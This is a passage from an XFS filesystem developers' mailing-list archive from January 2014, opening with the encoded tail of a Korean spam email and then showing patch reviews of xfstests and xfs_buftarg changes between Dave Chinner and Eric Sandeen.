º = =B8=C5=C0=CF=B8=C5=C0=CF =BE=C6=B0=A1=BE=BE=B5=E9=C0=C7 =C3=B6=C0=FA=C7=D1= =B1=B3=C0=B0=C0=BB =C5=EB=C7=D8, =B8=B6=C0=CE=B5=E5=B0=A1 =BE=E0=C7=D1 = =BE=F0=B4=CF=B5=E9=C0=BA =B0=FA=B0=A8=C8=F7 =C2=A5=B8=A8=B4=CF=B4=D9.
<= br>º =B2=F7=C0=D3=BE=F8=B4=C2 =BC=F6=C1=FA=B0=B3=BC=B1=C0=BB =C0=A7= =C7=D8 =C1=F6=BC=D3=C0=FB=C0=CE =B3=EB=B7=C2=C0=BB =BE=C6=B3=A2=C1=F6 =BE= =CA=BD=C0=B4=CF=B4=D9.

º =BC=FA=C0=BA =C6=C8=B5=C7 =BE=E7=BD= =C9=C0=BB =C6=C8=C1=F6=BE=CA=B4=C2 =C1=A4=C1=F7=C7=D4=C0=B8=B7=CE =BC=D5= =B4=D4=C0=BB =B8=F0=BD=C7=B0=CD=C0=D4=B4=CF=B4=D9.

º =B8=B6=C1= =F6=B8=B7=C0=B8=B7=CE =BC=D5=B4=D4=C0=BA =BF=D5=C0=CC=B6=F3=B4=C2 =B8=BB= =C0=CC =B9=AB=BB=F6=C7=CF=C1=F6 =BE=CA=B5=B5=B7=CF =C3=D6=BC=B1=C0=BB =B4= =D9=C7=D2=B0=CD=C0=D4=B4=CF=B4=D9.

=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC= =A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC= =A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC= =A6=AC=A6=AC=A6=AC=A6=AC=A6=AC

=BE=F7 =BC=D2 :   &nb= sp;       010-4636-5196

=C0=A7 =C4=A1 : =B0=AD=B3=B2=BF=AA1= 2=B9=F8=C3=E2=B1=B8 =BF=AA=BB=EF=B5=BF 822-5=B9=F8=C1=F6

=A6= =AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6= =AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6= =AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC

=0D= =0A
=0D=0A
=0D=0A
<= span style=3D"color: rgb(0,158,37); font-size: 9pt">=BB=FD=C0=CF=C6=C4=C6= =BC=B3=AA 100%=BF=AC=BF=B9=BC=BA=B0=F8=C0=CC=BA=A5=C6=AE =B0=A2=C1=BE=C1= =A2=B4=EB=C0=DA=B8=AE=B5=EE =B8=B9=C0=BA=C0=CC=BA=A5=C6=AE=B8=A6 =C1=D8=BA= =F1=C7=CF=B0=ED=C0=D6=C0=B8=B4=CF
=0D=0A
=BF=C0=BC=C5=BC=AD =C0=FA =BF=AC=BE=C6=BF=CD =C7=D4=B2=B2 =C1=C1=C0=BA= =BD=C3=B0=A3 =C1=C1=C0=BA=C0=DA=B8=AE =B8=B8=B5=E9=BE=EE=B0=A1=BD=C7=BC=F6= =C0=D6=B5=B5=B7=CF =C3=D6=BC=B1=C0=BB=B4=D9=C7=CF=B0=DA=BD=C0=B4=CF=B4=D9= .
=0D=0A
 
=0D=0A
= =B1=B8=C1=C2=BB=FD=C8=B05=B3=E2=B5=BF=BE=C8=C7=CF=B8=E9=BC=AD =B9=E8=BF=EC= =B0=ED=B4=C0=B2=BB=B4=F8 =B8=F0=B5=E7=B0=CD=B5=E9=C0=BB =B0=ED=B0=B4=B4=D4= =B5=E9=C0=BB=C0=A7=C7=D8
=0D=0A
=B9= =D9=C4=A5=BC=F6=C0=D6=B0=D4 =C7=D7=BB=F3 =B3=EB=B7=C2=C7=CF=B4=C2 =C0=DA= =BC=BC=B7=CE =B4=D9=B0=A1=B0=A1=B0=DA=BD=C0=B4=CF=B4=D9..=B0=A8=BB=E7=C7= =D5=B4=CF=B4=D9 ^^*
 =0D=0A

=0D=0A
 =
=0D=0A
  =0D=0A
=  =0D=0A
&= nbsp;
=0D=0A
=0D=0A
=0D=0A &nbsp;</= xmp>=0D=0A <p align=3D"center"><a href=3D"C:\Program Files (x86)\RedSpi= der7\DATA\MESSAGE\" target=3D"_blank">&nbsp;</a><strong>@@=B8=DE=C0=CF=C0= =BB =BF=F8=C4=A1=BE=CA=C0=B8=BD=C3=B8=E9 =B9=AE=C0=DA=B7=CE =C1=D6=BC=D2= =B3=B2=B0=DC=C1=D6=BC=BC=BF=E4^^ @@</strong></p>=0D=0A </body>=0D=0A</htm= l>=0D=0A ------=_NextPart_000_0862C3B7_1.2F3D1AA3-- ------=_NextPart_000_0862C3B7_0.2F3D1AA3-- From sandeen@sandeen.net Wed Jan 22 15:52:54 2014 Return-Path: <sandeen@sandeen.net> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id DBEB47F96 for <xfs@oss.sgi.com>; Wed, 22 Jan 2014 15:52:53 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 72B7FAC002 for <xfs@oss.sgi.com>; Wed, 22 Jan 2014 13:52:53 -0800 (PST) X-ASG-Debug-ID: 1390427568-04bdf030e99f5f0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id w5nPpyHFGrVab6cp for <xfs@oss.sgi.com>; Wed, 22 Jan 2014 13:52:48 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 7458B6CC1BF7; Wed, 22 Jan 2014 15:52:48 -0600 (CST) Message-ID: <52E03DB0.4060503@sandeen.net> Date: Wed, 22 Jan 2014 15:52:48 -0600 From: Eric Sandeen <sandeen@sandeen.net> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner <david@fromorbit.com>, xfs@oss.sgi.com Subject: Re: [PATCH] xfs/291: fix spurious ENOSPC errors References: <1390373205-8698-1-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH] xfs/291: fix spurious ENOSPC errors In-Reply-To: <1390373205-8698-1-git-send-email-david@fromorbit.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1390427568 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144372 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 1/22/14, 12:46 AM, Dave Chinner wrote: > From: Dave Chinner <dchinner@redhat.com> > > xfs/291 tries to fill the filesystem almost full, so if the log size > changes with mkfs defaults then it's free space calculations are not > longer valid and so it throws lots of ENOSPC errors during a run. > This is not fatal for this test, but it does increase the runtime of > it and fill the 291.full file with unnecessary errors. Hm so you've set the log size to 5m (-l size=5m) but how does that interact with any "-l size=XXX" set in MKFS_OPTS ? (It's certainly no worse than what I had in my original test; I just wonder if we should ignore MKFS_OPTS altogether in this test, and completely manually specify all options?) ((but I guess that would restrict this test too much, wouldn't it)) Fine for now, I suppose: Reviewed-by: Eric Sandeen <sandeen@redhat.com> -Eric > The number of frag files it creates is also too many for a 512 byte > inode filesystem (by about 900) so reduce the number of inodes > initially created so the test works ofr 512 byte inodes. With 512 > byte inodes, the free space histogram looks like this after the frag > phase: > > from to extents blocks pct > 1 1 10730 10730 100.00 > > And for 256 byte inodes: > > from to extents blocks pct > 1 1 12388 12388 100.00 > > So these changes do not affect the intended operation of the test. > > Signed-off-by: Dave Chinner <dchinner@redhat.com> > --- > tests/xfs/291 | 9 ++++++--- > 1 file changed, 6 insertions(+), 3 deletions(-) > > diff --git a/tests/xfs/291 b/tests/xfs/291 > index d5a9b08..0f3f051 100755 > --- a/tests/xfs/291 > +++ b/tests/xfs/291 > @@ -46,7 +46,7 @@ _supported_os IRIX Linux > # real QA test starts here > rm -f $seqres.full > _require_scratch > -_scratch_mkfs_xfs -n size=16k -d size=128m >> $seqres.full 2>&1 > +_scratch_mkfs_xfs -n size=16k -l size=5m -d size=128m >> $seqres.full 2>&1 > _scratch_mount > > # First we cause very badly fragmented freespace, then > @@ -54,13 +54,16 @@ _scratch_mount > # should come out very fragmented as a result > > # Step 1: Cause badly fragmented free space > +# > +# XXX: this needs to be factored to match what generic/204 does to support > +# different inode sizes without ENOSPC > mkdir $SCRATCH_MNT/fragdir > -for I in `seq 0 27200`; do > +for I in `seq 0 26200`; do > (echo data > $SCRATCH_MNT/fragdir/f$I) >> $seqres.full 2>&1 > done > sync > > -for I in `seq 0 2 27200`; do > +for I in `seq 0 2 26200`; do > rm -f $SCRATCH_MNT/fragdir/f$I >> $seqres.full 2>&1 > done > sync > From david@fromorbit.com Wed Jan 22 17:05:47 2014 Return-Path: <david@fromorbit.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 30EE77F85 for <xfs@oss.sgi.com>; Wed, 22 Jan 2014 17:05:47 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1B5728F8035 for <xfs@oss.sgi.com>; Wed, 22 Jan 2014 15:05:43 -0800 (PST) X-ASG-Debug-ID: 1390431941-04bdf030eaa38b0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id Y5G3JEtjBtGnshfb for <xfs@oss.sgi.com>; Wed, 22 Jan 2014 15:05:42 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AoAKAKFN4FJ5LKVw/2dsb2JhbABbgwyDOlKzEIIZgzeBEhd0giUBAQEEIw8BIyMQCAMYAgIFIQICDwUlAyETiASndJwjFxaBE41TB4JvNYEUBJghkhmDQSg Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail07.adl2.internode.on.net with ESMTP; 23 Jan 2014 09:33:59 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from <david@fromorbit.com>) id 1W66pw-0003QI-97; Thu, 23 Jan 2014 10:03:56 +1100 Date: Thu, 23 Jan 2014 10:03:56 +1100 From: Dave Chinner <david@fromorbit.com> To: Arkadiusz =?utf-8?Q?Mi=C5=9Bkiewicz?= <arekm@maven.pl> Cc: xfs@oss.sgi.com Subject: Re: xfsprogs 3.1.12 and 3.2.0 releases? Message-ID: <20140122230356.GD27606@dastard> X-ASG-Orig-Subj: Re: xfsprogs 3.1.12 and 3.2.0 releases? References: <201401201822.48520.arekm@maven.pl> <201401210917.38674.arekm@maven.pl> <20140121234151.GJ13997@dastard> <201401221548.52273.arekm@maven.pl> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <201401221548.52273.arekm@maven.pl> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1390431941 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144375 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jan 22, 2014 at 03:48:52PM +0100, Arkadiusz Miśkiewicz wrote: > On Wednesday 22 of January 2014, Dave Chinner wrote: > > On Tue, Jan 21, 2014 at 09:17:38AM +0100, Arkadiusz Miśkiewicz wrote: > > > > By looking into git log these look like small fixes for 3.1.x. Could > > > someone else recheck? > > > > ..... > > > > > 3a19fb7dce9d570e78deaf5c26c0ab8a4a5bef67 libxfs: stop caching inode > > > structures 61510437c627b529feb95ebffddd73df5ed5b104 repair: prefetching > > > is turned off unnecessarily 0cce4aa198f0470817bedb3781ea5b6955e43076 > > > repair: Increase default repair parallelism on large filesystems > > > > I think these three are not a great idea for 3.1.x. They result in > > significant changes of behaviour that can result in increased memory > > consumption by default. I'd prefer that we don't make changes to the > > default behaviour in a bug-fix only point release. > > 3a19fb7dce9d570e78deaf5c26c0ab8a4a5bef67 libxfs: stop caching inode > > looks like wasting memory fix to me but ok. The last paragraph ofi the commit message points out the problems that can occur with memory consumption. For sparse inode populations, the buffer cache can consume much more memory than the inode cache did, and that can cause OOM problems with repair... As it is, it is a significant change of behaviour, so for a lightweight bug-fix only release I feel that it is out-of-scope... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Jan 22 17:10:51 2014 Return-Path: <david@fromorbit.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 467A57F91 for <xfs@oss.sgi.com>; Wed, 22 Jan 2014 17:10:51 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id C97F0AC002 for <xfs@oss.sgi.com>; Wed, 22 Jan 2014 15:10:47 -0800 (PST) X-ASG-Debug-ID: 1390432245-04bdf030eba3c50001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id WMU3xuokkZB2yJX4 for <xfs@oss.sgi.com>; Wed, 22 Jan 2014 15:10:46 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnwKAM1O4FJ5LKVw/2dsb2JhbABbgwyDOrNihVCBEhd0giUBAQEEOhwjEAgDFQMJJQ8FJQMhE4gExBsXFo5mB4MkgRQEmCGSGYNBKA Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail07.adl2.internode.on.net with ESMTP; 23 Jan 2014 09:38:22 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from <david@fromorbit.com>) id 1W66uC-0003Qj-2P; Thu, 23 Jan 2014 10:08:20 +1100 Date: Thu, 23 Jan 2014 10:08:20 +1100 From: Dave Chinner <david@fromorbit.com> To: Eric Sandeen <sandeen@sandeen.net> Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs/291: fix spurious ENOSPC errors Message-ID: <20140122230819.GE27606@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs/291: fix spurious ENOSPC errors References: <1390373205-8698-1-git-send-email-david@fromorbit.com> <52E03DB0.4060503@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52E03DB0.4060503@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1390432245 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144375 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jan 22, 2014 at 03:52:48PM -0600, Eric Sandeen wrote: > On 1/22/14, 12:46 AM, Dave Chinner wrote: > > From: Dave Chinner <dchinner@redhat.com> > > > > xfs/291 tries to fill the filesystem almost full, so if the log size > > changes with mkfs defaults then it's free space calculations are not > > longer valid and so it throws lots of ENOSPC errors during a run. > > This is not fatal for this test, but it does increase the runtime of > > it and fill the 291.full file with unnecessary errors. > > Hm so you've set the log size to 5m (-l size=5m) but how does that > interact with any "-l size=XXX" set in MKFS_OPTS ? see _scratch_mkfs_xfs: # a mkfs failure may be caused by conflicts between # $MKFS_OPTIONS and $extra_mkfs_options if [ $mkfs_status -ne 0 -a ! -z "$extra_mkfs_options" ]; then ( echo -n "** mkfs failed with extra mkfs options " echo "added to \"$MKFS_OPTIONS\" by test $seq **" echo -n "** attempting to mkfs using only test $seq " echo "options: $extra_mkfs_options **" ) >> $seqres.full # running mkfs again. overwrite previous mkfs output files _scratch_mkfs_xfs_opts $extra_mkfs_options \ 2>$tmp_dir.mkfserr 1>$tmp_dir.mkfsstd local mkfs_status=$? fi So, it will drop the MKFS_OPTIONS and just use the test specific options if there is a conflict/failure. > (It's certainly no worse than what I had in my original test; I just > wonder if we should ignore MKFS_OPTS altogether in this test, and > completely manually specify all options?) That's effectively what it already does automatically.... :) Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Jan 22 17:14:07 2014 Return-Path: <david@fromorbit.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 38D087F9E for <xfs@oss.sgi.com>; Wed, 22 Jan 2014 17:14:07 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id A5FF8AC003 for <xfs@oss.sgi.com>; Wed, 22 Jan 2014 15:14:06 -0800 (PST) X-ASG-Debug-ID: 1390432444-04cbb05baa97520001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 11AwcEr1DMmSz1IN for <xfs@oss.sgi.com>; Wed, 22 Jan 2014 15:14:05 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnsKAPpP4FJ5LKVw/2dsb2JhbABbgwyDOrNihVCBEhd0giUBAQEEOhwjEAgDGAklDwUlAyETiATEIBcWjmYHgySBFASYIYpPh0qDQSg Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail07.adl2.internode.on.net with ESMTP; 23 Jan 2014 09:42:34 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from <david@fromorbit.com>) id 1W66yF-0003RV-V7; Thu, 23 Jan 2014 10:12:31 +1100 Date: Thu, 23 Jan 2014 10:12:31 +1100 From: Dave Chinner <david@fromorbit.com> To: Eric Sandeen <sandeen@sandeen.net> Cc: Eric Sandeen <sandeen@redhat.com>, xfs-oss <xfs@oss.sgi.com> Subject: Re: [PATCH 1/3 V3] xfs: clean up xfs_buftarg Message-ID: <20140122231231.GF27606@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/3 V3] xfs: clean up xfs_buftarg References: <52DEF81D.4090100@redhat.com> <52DEF869.6040107@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52DEF869.6040107@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1390432444 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144375 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Jan 21, 2014 at 04:44:57PM -0600, Eric Sandeen wrote: > Clean up the xfs_buftarg structure a bit: > - remove bt_bsize which is never used > - replace bt_sshift with bt_ssize; we only ever shift it back > > Signed-off-by: Eric Sandeen <sandeen@redhat.com> Looks good. Reviewed-by: Dave Chinner <dchinner@redhat.com> -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Jan 22 17:14:29 2014 Return-Path: <david@fromorbit.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 459FF7F9E for <xfs@oss.sgi.com>; Wed, 22 Jan 2014 17:14:29 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id C7E12AC002 for <xfs@oss.sgi.com>; Wed, 22 Jan 2014 15:14:28 -0800 (PST) X-ASG-Debug-ID: 1390432467-04bdf030e9a3f10001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id Itr5m4Jmia3bjDZB for <xfs@oss.sgi.com>; Wed, 22 Jan 2014 15:14:27 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnwKAPpP4FJ5LKVw/2dsb2JhbABbgwyDOrNihVCBEhd0giUBAQEEJxMcIxAIAxgJJQ8FJQMhE4gExCAXFo5mB4Q4AQOYIYpPh0qDQSg Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail07.adl2.internode.on.net with ESMTP; 23 Jan 2014 09:43:06 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from <david@fromorbit.com>) id 1W66yl-0003Rd-TL; Thu, 23 Jan 2014 10:13:03 +1100 Date: Thu, 23 Jan 2014 10:13:03 +1100 From: Dave Chinner <david@fromorbit.com> To: Eric Sandeen <sandeen@sandeen.net> Cc: Eric Sandeen <sandeen@redhat.com>, xfs-oss <xfs@oss.sgi.com> Subject: Re: [PATCH 2/3 V3] xfs: rename xfs_buftarg structure members Message-ID: <20140122231303.GG27606@dastard> X-ASG-Orig-Subj: Re: [PATCH 2/3 V3] xfs: rename xfs_buftarg structure members References: <52DEF81D.4090100@redhat.com> <52DEF8A0.3090300@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52DEF8A0.3090300@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1390432467 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144375 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Jan 21, 2014 at 04:45:52PM -0600, Eric Sandeen wrote: > In preparation for adding new members to the structure, > give these old ones more descriptive names: > > bt_ssize -> bt_meta_sectorsize > bt_smask -> bt_meta_sectormask > > Signed-off-by: Eric Sandeen <sandeen@redhat.com> looks good. Thanks for renaming these ;) Reviewed-by: Dave Chinner <dchinner@redhat.com> -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Jan 22 17:16:25 2014 Return-Path: <david@fromorbit.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5E1C07FA2 for <xfs@oss.sgi.com>; Wed, 22 Jan 2014 17:16:25 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 47081304051 for <xfs@oss.sgi.com>; Wed, 22 Jan 2014 15:16:22 -0800 (PST) X-ASG-Debug-ID: 1390432579-04cb6c7508977a0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id atWbHXyzQZJ75k4Z for <xfs@oss.sgi.com>; Wed, 22 Jan 2014 15:16:20 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnsKAPpP4FJ5LKVw/2dsb2JhbABbgwyDOrNihVCBEhd0giUBAQEEOhwjEAgDGAklDwUlAyETiATEIBcWjh1JB4Q4BJQ8g2WKT4dKg0EogS0 Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail07.adl2.internode.on.net with ESMTP; 23 Jan 2014 09:44:40 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from <david@fromorbit.com>) id 1W670J-0003Rm-J7; Thu, 23 Jan 2014 10:14:39 +1100 Date: Thu, 23 Jan 2014 10:14:39 +1100 From: Dave Chinner <david@fromorbit.com> To: Eric Sandeen <sandeen@sandeen.net> Cc: Eric Sandeen <sandeen@redhat.com>, xfs-oss <xfs@oss.sgi.com> Subject: Re: [PATCH 3/3 V3] xfs: allow logical-sector sized O_DIRECT Message-ID: <20140122231439.GH27606@dastard> X-ASG-Orig-Subj: Re: [PATCH 3/3 V3] xfs: allow logical-sector sized O_DIRECT References: <52DEF81D.4090100@redhat.com> <52DEF8BF.5070106@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52DEF8BF.5070106@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1390432579 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144375 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Jan 21, 2014 at 04:46:23PM -0600, Eric Sandeen wrote: > Some time ago, mkfs.xfs started picking the storage physical > sector size as the default filesystem "sector size" in order > to avoid RMW costs incurred by doing IOs at logical sector > size alignments. > > However, this means that for a filesystem made with i.e. > a 4k sector size on an "advanced format" 4k/512 disk, > 512-byte direct IOs are no longer allowed. This means > that XFS has essentially turned this AF drive into a hard > 4K device, from the filesystem on up. > > XFS's mkfs-specified "sector size" is really just controlling > the minimum size & alignment of filesystem metadata. > > There is no real need to tightly couple XFS's minimal > metadata size to the minimum allowed direct IO size; > XFS can continue doing metadata in optimal sizes, but > still allow smaller DIOs for apps which issue them, > for whatever reason. > > This patch adds a new field to the 